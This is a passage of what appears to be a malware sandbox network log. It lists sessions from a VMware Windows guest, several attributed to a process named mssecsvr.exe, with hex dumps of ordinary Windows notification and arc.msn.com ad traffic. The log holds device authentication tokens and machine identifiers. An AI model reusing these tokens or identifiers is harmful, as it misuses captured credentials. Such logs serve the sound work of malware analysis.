2022-07-20 07:08:01 UTC	298	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:08:01 UTC	298	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 31 64 37 61 30 38 35 66 34 64 36 34 35 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: e11d7a085f4d6455<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:08:01 UTC	299	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 31 31 64 37 61 30 38 35 66 34 64 36 34 35 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: e11d7a085f4d6455<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:08:01 UTC	299	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:08:01 UTC	299	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 65 6a 61 59 70 4e 65 6c 30 61 6c 37 54 75 79 79 52 6b 47 77 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: XejaYpNel0al7TuyyRkGwA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	50424	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:04 UTC	299	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 34 63 66 34 61 62 34 37 39 65 31 64 34 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: de4cf4ab479e1d45
2022-07-20 07:08:04 UTC	299	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:08:04 UTC	300	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 34 63 66 34 61 62 34 37 39 65 31 64 34 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: de4cf4ab479e1d45<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:08:04 UTC	301	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 65 34 63 66 34 61 62 34 37 39 65 31 64 34 35 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: de4cf4ab479e1d45
2022-07-20 07:08:04 UTC	301	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:08:04 UTC	301	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 6f 32 76 5a 69 59 31 62 6b 75 46 4d 69 68 61 6d 71 38 4f 6d 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Do2vZiY1bkuFMihamq8OmA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	50425	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:05 UTC	301	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160757Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=678d4fdfe11c44028eb44821f99ccf51&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-338388&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p= Cache-Control: no-cache MS-CV: R4MDVFUt1EqdhKtw.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:08:05 UTC	303	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 4483 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: tQengxRCe0GokvDJ3DhYvxvbc1eGgoL7+FM0EBcKyY1kVMP3YjEWbixQEGl2iF/BojzdzaSNKEfpijHMlvx75syipNSKpZd3GdWzCOzbJWQKRxNVGgqwBspv3TnvoVHR6S48Xyg11Njx8vk57hWS56OaNl8PkXybHe36BNaZCJM21MB8F5FmL7Cpb9HWPfMPrBgfunPf5GXcTSZ4MY2oNhlqxjsxtN4k3Gbsgjd/v6IJbuU4iWEGDsVwcJJy17CsLULJQPf2SPp6I00JbtNb9Epa6d3kRrlvu1ItM8k82phWVsFfZWBYpgJ1bSE5QABthPORgLoeq8p1g8nniAhy9A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:08:04 GMT Connection: close
2022-07-20 07:08:05 UTC	304	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":{\"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	50427	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:05 UTC	308	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160804Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=044f5e8e22ed42bab38cb3102e38afb9&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-338387&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p= Cache-Control: no-cache MS-CV: R4MDVFUt1EqdhKtw.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:08:05 UTC	310	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 24505 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"3,P425615666-T700383923-C128000000003288689+B+P60+S1,P425056668-T700379701-C128000000003515109+B+P90+S2,P400090958-T700355890-C128000000002408929+B+P20+S3"},{"BATCH_REDIRECT_STORE":"BWW_128000000003288689_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003515109_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002408929_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: OszPqhPKowjzyonFquL8MuYLeqJQ8UYPcWtoVggajHuLt198rpddp/tLLXiTaUjRT3c2SCfZtzm0Wsu0twILyekGJ3Wqox6ZwvIQ/2qPxVnRW9QhnlzwuwBgrQehLt2ah0wgnd+erdCtHd/uj2Xb8dt84EWCQ0Ujhim72MBj39F57N1ySQUOrS8cu4qH5q5WZHPPRA8Lm0CBEe82EMQcZWtJuuAenamhwSJXR1bJRMiT/F6CxqvTl11/Rr/qfclKwcF6MVuVVH91I0Tvh+t0pWYFom4yN0bCVURqW65FZoDpsf+ceIKei9pPwstT3HqRJPvC/+9fIFXk6sAn1IavnQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:08:05 GMT Connection: close
2022-07-20 07:08:05 UTC	311	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2022-07-20 07:08:05 UTC	328	IN	Data Raw: 45 49 44 3d 36 38 32 35 37 39 35 30 35 33 30 36 35 33 33 38 26 4c 4f 43 41 4c 49 44 3d 77 3a 42 45 38 41 42 38 44 46 2d 44 43 44 31 2d 33 35 32 33 2d 34 41 39 35 2d 33 41 30 34 45 41 46 46 31 43 42 41 26 44 53 5f 45 56 54 49 44 3d 31 30 33 31 31 30 36 35 34 31 35 64 34 66 32 66 38 39 62 33 33 61 61 38 35 30 63 34 34 33 37 37 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 4d 41 50 5f 54 49 44 3d 37 38 41 46 46 37 34 34 2d 46 37 44 31 2d 34 30 41 32 2d 42 33 30 44 2d 45 43 34 43 37 39 36 35 43 42 41 44 26 4e 43 54 3d 31 26 50 4e 3d 44 41 36 33 44 46 39 33 2d 33 44 42 43 2d 34 32 41 45 2d 41 35 30 35 2d 42 33 34 39 38 38 36 38 33 41 43 37 26 41 53 49 44 3d 30 34 34 46 35 Data Ascii: EID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=10311065415d4f2f89b33aa850c44377&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&MAP_TID=78AFF744-F7D1-40A2-B30D-EC4C7965CBAD&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=044F5

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	50447	20.82.209.183	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:05 UTC	326	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T160804Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8ee01d0c28e14eb69e963e273102d5d3&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611135&metered=false&nettype=ethernet&npid=sc-338389&oemName=rijlag%2C%20Inc.&oemid=rijlag%2C%20Inc.&ossku=Professional&smBiosDm=rijlag7%2C1&tl=2&tsu=1611135&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAV/JD3oKC4erzl2Ea/oUrOp1pNc4QgOxWf40cVdqDv6qvmLSbtdBmT/p2XzHUYoqr1SIvWwEaKwxS0re4zmUmMSqBgoshinNlsSh9qJQjWOdvWXFLmKjD2uEekVsvAKckAVPVWJe2Ny/WnTaFpKQzCgFTZa3IkjU7Hbehg+DYJHhChzfRHF2sO0jOskfWKFdyW52Ak+FtmoqIsp8y3tQfMrqyjEiVWv0fR7ZA2LeAJj+TmRFtS6qUQwwupmNrsCyWU61HW/mMK6y5/aAUrDQmVCGhguistpZyNr/lvinVQfK1Uixmc5R5HGjcNdFdcknyiw47LFX9PdqCnrGOmfqhIsDZgAACPrQmV5bYdrMqAFoU6lm3mIEm2TkMWdOm1/3xz9Fff8e5gTLFZE8pfgpnqXgZ/dTCiGdFXRPUfRGJZCpspZOvGUIhz8Dd6nN86z6gyVzsFNPj0ZHRtSnxZFuH7QfAfaM//hyruj89mpH2rSp2pgrVdyPcG4raPsDR9mx0M/UShGI3lGTw57U3gfJFgQka+gZ8FVesKPvCbS9lEx3pb44aZMIvmJ+lh5kvhXSxYouGhJHpto7VbtYSIK0K7mZXCLtMZej8WcIY6SVIBujMsS0xaUYF4kaC+DmApSbHeKsf+375MQaFYB4lpOXBfSnG36T7f1rlawNM3uMrmIIl71G7ilpDIjcHGBQHuu7OTNLvQG1juQes/jp5ILJ7FyBXsPmbnDW3eKQL9EQubeZdAeGPwNGVROXwymwt9zQ8zwfHBtk0zda8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p= Cache-Control: no-cache MS-CV: R4MDVFUt1EqdhKtw.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:08:05 UTC	337	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3075 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: HzoU4KVqeOaPSDFlTs0oRqTMaHiRZDvzEjEnT8EduQxU7h2AR8bHKBnTdnXdeLBvs+hLUuHs6ANHxE+9H+HmVBRhLOp2w6G1seFfFtmsRmVtL5EL7/Px3JsxMK6682HNIRmPBXmBICW4Bokg0nMUG5u9FJW3JpQKcrEPxEjUv+bXYgH7OFl0wZ2SY8iAh8PPN+n9NFah0c/zVk25dCrF3YAVyDiGbpmlyPsVDQpaKGvs21K6qxa44YWvXurAWdDwgJwzHzXUv7bKooB1S9N7bewz539eEwnuA3L1wzIRg9Dx0w9N6SlXc6TTridgq+BXpY26O6M9ybT/TAb95ux6tw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:08:05 GMT Connection: close
